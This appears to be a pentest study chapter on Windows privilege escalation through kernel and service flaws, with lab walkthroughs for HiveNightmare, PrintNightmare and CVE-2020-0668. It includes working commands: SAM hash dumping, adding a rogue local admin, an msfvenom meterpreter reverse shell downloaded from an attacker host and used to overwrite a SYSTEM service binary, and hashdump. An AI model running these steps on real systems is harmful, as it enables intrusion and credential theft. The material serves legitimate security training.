Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Windows Privilege Escalation — Kernel Exploits

Ensuring 100% patch compliance across every desktop and server in an organization is effectively unachievable — even when updates are pushed via SCCM or WSUS, individual systems can fail to install them for countless reasons. Windows has accumulated many kernel-level remote code execution and local privilege escalation vulnerabilities over the years, from Windows 2000/XP through Server 2016/2019 and beyond. A detailed historical patch/exploit matrix (by OS and service pack) is maintained here and cross-referenced against the Microsoft Security Update Guide, which held 4,733+ entries at time of writing — illustrating the scale of the Windows attack surface.

Fewer known kernel exploits exist for Windows 10/Server 2016+ than for legacy versions, partly due to OS security improvements and deprecated protocols (e.g., SMBv1). However, newly disclosed vulnerabilities often apply across many prior OS versions as well (e.g., MS17-010), reinforcing the need to patch, upgrade, retire, or segment legacy Windows systems.

Many of these are also remote code execution (RCE) flaws that double as local privilege escalation vectors: if a service (e.g., SMB on port 445) isn’t reachable from outside, port-forward it to the attack host — or run the exploit locally — to escalate privileges on the host itself.

Notable High-Impact Vulnerabilities

  • MS08-067 — RCE in the “Server” service from improper RPC request handling. Affects Server 2000/2003/2008 and XP/Vista; unauthenticated SYSTEM-level code execution. Still occasionally seen in large orgs (e.g., medical) running legacy applications. Demonstrated by HTB’s Legacy box.
  • MS17-010 (EternalBlue) — RCE in SMBv1 packet handling, released via the Shadow Brokers/FuzzBunch leak; SYSTEM-level code execution. Usable as local privesc when port 445 is firewalled externally. Demonstrated by HTB’s Blue box.
  • ALPC Task Scheduler 0-Day — abuses the Task Scheduler’s ALPC endpoint to write arbitrary DACLs to .job files in C:\Windows\tasks, creating a hard link to an attacker-controlled file; chained with SchRpcSetSecurity and an XPS print job to hijack a DLL as SYSTEM via the Spooler service. Demonstrated by HTB’s Hackback box.

CVE-2021-36934 (HiveNightmare / SeriousSam)

Windows 10 flaw granting any user read access to the registry, including the SAM, SYSTEM, and SECURITY hives, via leftover Volume Shadow Copy permissions.

Confirm the vulnerable ACL:

C:\htb> icacls c:\Windows\System32\config\SAM

C:\Windows\System32\config\SAM BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)

BUILTIN\Users:(I)(RX) confirms low-privileged read access. Exploitation also requires at least one shadow copy to exist (System Protection creates these by default on most Windows 10 hosts).

Dump the hives with the HiveNightmare PoC:

PS C:\Users\htb-student\Desktop> .\HiveNightmare.exe

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
Success: SAM hive from 2021-08-07 written out to current working directory as SAM-2021-08-07
...

Extract hashes offline with Impacket’s secretsdump:

rnemeth@htb[/htb]$ impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
...

CVE-2021-1675 / CVE-2021-34527 (PrintNightmare)

Flaw in RpcAddPrinterDriver (Print Spooler) allowing any authenticated user — not just holders of SeLoadDriverPrivilege (normally Administrators/Print Operators) — to add a print driver and achieve RCE as SYSTEM. Affects every supported Windows version; the Spooler runs by default on Domain Controllers, Windows 7/10, and is often enabled on servers, making this a massive attack surface. Microsoft’s first patch was incomplete; a second patch (July 2021) plus registry guidance followed. PoCs include a cube0x0 C#/modified-Impacket version (remote or local DLL execution) and a PowerShell implementation for quick local escalation (adds a local admin by default, or drops a custom DLL for a reverse shell).

Check whether the Spooler service is running (a “path does not exist” error means it is not):

PS C:\htb> ls \\localhost\pipe\spoolss

Exploit locally with the PowerShell PoC to add a local admin:

PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

[+] added user hacker as local administrator
C:\htb> net user hacker
Local Group Memberships      *Administrators

Account creation is noisy and may be out of scope/stealth-incompatible — confirm with the client before adding users during an engagement.

Enumerating Missing Patches

PS C:\htb> systeminfo
PS C:\htb> wmic qfe list brief
PS C:\htb> Get-Hotfix
C:\htb> wmic qfe list brief

Security Update               KB5000808               NT AUTHORITY\SYSTEM  3/27/2021

Cross-reference each KB ID against the Microsoft Update Catalog to identify how far behind the host is on patching.

CVE-2020-0668 (Windows Kernel Elevation of Privilege / Service Tracing Arbitrary File Move)

Abuses Windows Service Tracing: setting a custom MaxFileSize registry value smaller than a target file’s actual size causes that file to be renamed with a .OLD extension (as NT AUTHORITY\SYSTEM) the next time tracing triggers. Combined with mount points and symbolic links, this becomes an arbitrary privileged file move primitive — though not an arbitrary file write, so it must be chained with something that abuses a predictable/writable destination (e.g., UsoDllLoader, DiagHub, or vulnerable third-party service binaries) to achieve code execution.

C:\htb> whoami /priv

Build the CVE-2020-0668 PoC in Visual Studio to produce CVE-2020-0668.exe and its supporting DLLs.

Example chain target — Mozilla Maintenance Service (SYSTEM service, startable by unprivileged users, with a non-protected binary path):

C:\htb> icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

BUILTIN\Users:(I)(RX)

Only read/execute — not writable directly, so the privileged file-move primitive is needed to overwrite it.

Generate a malicious replacement binary and host it:

rnemeth@htb[/htb]$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe
rnemeth@htb[/htb]$ python3 -m http.server 8080

Download two copies to the target — the exploit corrupts the file it moves, so a second untouched copy is needed to finish the job afterward:

PS C:\htb> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice.exe
PS C:\htb> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice2.exe

Run the exploit to move the (now-corrupted) payload into place as SYSTEM:

C:\htb> C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\htb-student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

Confirm the ACL changed — the current user now has Full Control, since the move operation reset the destination’s permissions:

C:\htb> icacls 'C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe'

WINLPE-WS02\htb-student:(F)

Overwrite with the clean (uncorrupted) payload copy (must be run from cmd.exe, not PowerShell):

C:\htb> copy /Y C:\Users\htb-student\Desktop\maintenanceservice2.exe "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

Set up a Metasploit handler and start the service:

rnemeth@htb[/htb]$ sudo msfconsole -r handler.rc
C:\htb> net start MozillaMaintenance

The service itself errors out (“not responding to the control function”), but the payload still executes before that, yielding a SYSTEM session:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...

Takeaways

  • Always run systeminfo / wmic qfe list brief / Get-Hotfix on a new foothold and diff installed KBs against the Microsoft Update Catalog.
  • Treat RCE vulnerabilities (MS08-067, MS17-010, etc.) as potential local privesc vectors when the vulnerable service is only reachable locally — port-forward or run the exploit on-box.
  • Some “file write” primitives (CVE-2020-0668) only grant a move, not arbitrary content control — they must be chained with a writable/predictable destination (a vulnerable service binary, UsoDllLoader, DiagHub) to get code execution.
  • Kernel/driver exploits can be unstable — they often touch raw kernel structures, and a bad run can crash or corrupt the target, so get client sign-off before running them in production environments.